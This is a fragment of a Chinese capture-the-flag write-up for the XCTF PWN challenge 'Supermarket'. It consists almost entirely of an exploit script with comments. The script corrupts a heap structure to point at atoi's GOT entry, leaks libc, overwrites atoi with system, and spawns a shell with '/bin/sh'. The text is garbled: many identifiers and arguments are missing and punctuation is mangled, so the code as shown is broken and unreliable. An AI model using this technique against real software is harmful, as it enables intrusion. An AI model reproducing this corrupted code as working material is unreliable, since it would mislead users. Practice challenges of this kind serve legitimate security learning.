攻防世界PWN之Supermarket题解( 二 )


ljust(16,'\x00')+p32(20)+p32(0x20)+p32()#由于没有把返回的指针赋值给node0-> , 因此node0->还是原来那个地址处 , 现在存的是node1#因此edit(0)就是编辑node1的结构体 , 我们通过修改 , 把node1->指向atoi的got表edit(0,0x80,)#泄露信息show()sh 。('2:price 。20,des 。')#泄露atoi的加载地址=u32(sh 。('\n') 。split('\n')[0] 。ljust(4,'\x00'))libc=('atoi',)=-libc 。dump('atoi')=+libc 。dump('')#修改atoi的表 , 将它指向(2,0x20,p32())# 。('>>','/bin/sh')sh 。()